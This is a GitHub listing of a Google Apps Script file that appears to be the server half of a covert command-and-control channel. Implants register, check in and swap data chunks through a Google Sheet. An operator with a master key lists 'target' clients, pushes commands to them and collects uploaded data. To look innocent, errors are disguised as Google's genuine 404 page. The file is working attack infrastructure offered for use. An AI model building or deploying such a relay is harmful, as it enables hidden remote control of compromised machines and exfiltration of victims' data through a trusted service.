-
Notifications
You must be signed in to change notification settings - Fork 35
/
server.js
266 lines (258 loc) · 10.8 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Server Variables:
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
const DEBUG = false;
const MASTER_KEY = '';
const SPREADSHEET_URL = '';
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
const SPREADSHEET = SpreadsheetApp.openByUrl(SPREADSHEET_URL);
const SHEET = SPREADSHEET.getSheets()[0];
const BASE_CHUNK_OFFSET = 5; // column offset to client data chunks
const MAX_CHUNK = 50000; // max Google Sheets cell size
// client states
const STATE = {
IDLE: 'IDLE',
DOWNLOAD: 'DOWNLOADING',
UPLOAD: 'UPLOADING',
};
// client column index to expected data map
const CLIENT = {
UUID: 0,
DATE: 1,
STATE: 2,
INFO: 3,
CHUNK: 4,
}
// master remote server commands
const CMD = {
LIST_CLIENTS: 'lsc',
GET_CLIENT_DATA: 'get',
GET_CLIENT_INFO: 'info',
}
// server URL parameters
const URL = {
CLIENT_UUID: 'u',
CLIENT_INFO: 'i',
MASTER_KEY: 'k',
DATA: 'd',
}
// handles server errors
function error(error) {
// return google-like error page if not debugging
if (!DEBUG) {
const html = '<!DOCTYPE html><html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px}</style><a href=//www.google.com/><span id=logo aria-label=Google></span></a><p><b>404.</b> <ins>That’s an error.</ins><p>The requested URL was not found on this server. <ins>That is all we know.</ins>';
return HtmlService.createHtmlOutput(html);
}
return ContentService.createTextOutput(error);
}
// get a value from a cell in the sheet database
function getCell(uuid, col) {
var data = SHEET.getDataRange().getValues();
for (var row = 0; row < data.length; row++) {
if (data[row][0] === uuid) {
return (data[row][col] != undefined ? data[row][col] : '');
}
}
return '';
}
// set a value in a cell in the sheet database
function setCell(uuid, col, val) {
var data = SHEET.getDataRange().getValues();
for (var row = 0; row < data.length; row++) {
if (data[row][0] === uuid) {
// do not set data that is too large
SHEET.getRange(row + 1, col + 1).setValue(String(val).slice(0, MAX_CHUNK + 1));
}
}
}
// set the next chunk for a uuid
function setChunk(uuid, data) {
// get current chunk to set
var next_chunk_col = getCell(uuid, CLIENT.CHUNK);
setCell(uuid, next_chunk_col, data);
// check for a NULL chunk POST
if (!data) {
// update client state
switch (getCell(uuid, CLIENT.STATE)) {
case STATE.IDLE:
// reset chunk column identifiers
setCell(uuid, CLIENT.CHUNK, BASE_CHUNK_OFFSET);
// move client to download state
setCell(uuid, CLIENT.STATE, STATE.DOWNLOAD);
break;
case STATE.UPLOAD:
// reset chunk column identifiers
setCell(uuid, CLIENT.CHUNK, BASE_CHUNK_OFFSET);
// move client to idle state
setCell(uuid, CLIENT.STATE, STATE.IDLE);
break;
}
} else {
// update current chunk column number to set next
setCell(uuid, CLIENT.CHUNK, ++next_chunk_col);
}
}
// get the next chunk for a uuid
function getChunk(uuid) {
// get current chunk to serve
var next_chunk_col = getCell(uuid, CLIENT.CHUNK);
const chunk = getCell(uuid, next_chunk_col);
// check for a NULL chunk GET
if (!chunk) {
// check if all chunks have been downloaded
switch (getCell(uuid, CLIENT.STATE)) {
case STATE.DOWNLOAD:
// reset chunk column identifiers
setCell(uuid, CLIENT.CHUNK, BASE_CHUNK_OFFSET);
// move client to uploading state
setCell(uuid, CLIENT.STATE, STATE.UPLOAD);
break;
case STATE.IDLE:
// reset chunk column identifiers (no state change for IDLE)
setCell(uuid, CLIENT.CHUNK, BASE_CHUNK_OFFSET);
break;
}
} else {
// update current chunk column number to serve next
setCell(uuid, CLIENT.CHUNK, ++next_chunk_col);
}
return chunk;
}
// handles server POST requests
function doPost(e) {
try {
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Master Upload:
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if (e.parameter.hasOwnProperty(URL.MASTER_KEY)) {
// validate master key
if (MASTER_KEY !== e.parameter[URL.MASTER_KEY]) {
return error('bad master key');
}
// post data to a given client
if (e.parameter.hasOwnProperty(URL.CLIENT_UUID) && e.parameter.hasOwnProperty(URL.DATA)) {
switch (getCell(e.parameter[URL.CLIENT_UUID], CLIENT.STATE)) {
case STATE.IDLE:
setChunk(e.parameter[URL.CLIENT_UUID], e.parameter[URL.DATA]);
default:
return ContentService.createTextOutput('');
}
}
}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Client Upload:
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
else if (e.parameter.hasOwnProperty(URL.CLIENT_UUID)) {
// post data from a given client
if (e.parameter.hasOwnProperty(URL.DATA)) {
switch (getCell(e.parameter[URL.CLIENT_UUID], CLIENT.STATE)) {
case STATE.UPLOAD:
setChunk(e.parameter[URL.CLIENT_UUID], e.parameter[URL.DATA]);
default:
return ContentService.createTextOutput('');
}
}
}
return error('bad post request');
} catch (exception) {
return error(exception);
}
}
// handles server GET requests
function doGet(e) {
try {
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Master Commands:
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if (e.parameter.hasOwnProperty(URL.MASTER_KEY)) {
// validate master key
if (MASTER_KEY !== e.parameter[URL.MASTER_KEY]) {
return error('bad master key');
}
// parse master command
if (e.parameter.hasOwnProperty(URL.DATA)) {
switch (e.parameter[URL.DATA]) {
case CMD.LIST_CLIENTS:
case CMD.GET_CLIENT_INFO:
// make list of current clients, check-in dates, and state
var r = [];
var data = SHEET.getDataRange().getValues();
for (var row = 0; row < data.length; row++) {
r.push(data[row][CLIENT.UUID]);
r.push(data[row][CLIENT.DATE]);
r.push(data[row][CLIENT.INFO]);
r.push(data[row][CLIENT.STATE]);
// check if we are looking for one client and have found it
if ((e.parameter[URL.DATA] === CMD.GET_CLIENT_INFO) &&
(data[row][CLIENT.UUID] === e.parameter[URL.CLIENT_UUID])) {
return ContentService.createTextOutput([
data[row][CLIENT.UUID],
data[row][CLIENT.DATE],
data[row][CLIENT.INFO],
data[row][CLIENT.STATE],
].join('|'));
}
}
return ContentService.createTextOutput(r.join('|'));
case CMD.GET_CLIENT_DATA:
// get next data chunk from target client
if (e.parameter.hasOwnProperty(URL.CLIENT_UUID)) {
switch (getCell(e.parameter[URL.CLIENT_UUID], CLIENT.STATE)) {
case STATE.IDLE:
// return next chunk to client if client if there is one
return ContentService.createTextOutput(getChunk(e.parameter[URL.CLIENT_UUID]));
default:
// client has not uploaded any data
return ContentService.createTextOutput('');
}
}
return error('missing client uuid');
default:
return error('invalid master command');
}
}
return error('missing master command');
}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Client Check-In:
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
else if (e.parameter.hasOwnProperty(URL.CLIENT_UUID)) {
// update check-in date
setCell(e.parameter[URL.CLIENT_UUID], CLIENT.DATE, (new Date()).toLocaleString());
switch (getCell(e.parameter[URL.CLIENT_UUID], CLIENT.STATE)) {
case STATE.DOWNLOAD:
// return next chunk to client if client is done
return ContentService.createTextOutput(getChunk(e.parameter[URL.CLIENT_UUID]));
default:
// no data for client from master yet
return ContentService.createTextOutput('');
}
}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Client Register:
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
else if (e.parameter.hasOwnProperty(URL.CLIENT_INFO)) {
// try and verify client info consistency
try {
const info = Utilities.newBlob(Utilities.base64Decode(e.parameter[URL.CLIENT_INFO])).getDataAsString().split('|');
if (info.length != 2) {
throw 'bad info';
}
} catch (exception) {
return error(exception);
}
// generates a UUID according to https://www.ietf.org/rfc/rfc4122.txt
const uuid = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
const r = Math.random() * 16 | 0;
const v = c == 'x' ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
SHEET.appendRow([uuid, (new Date()).toLocaleString(), STATE.IDLE, e.parameter[URL.CLIENT_INFO], BASE_CHUNK_OFFSET]);
return ContentService.createTextOutput(uuid);
} else {
return error('bad request');
}
} catch (exception) {
return error(exception);
}
}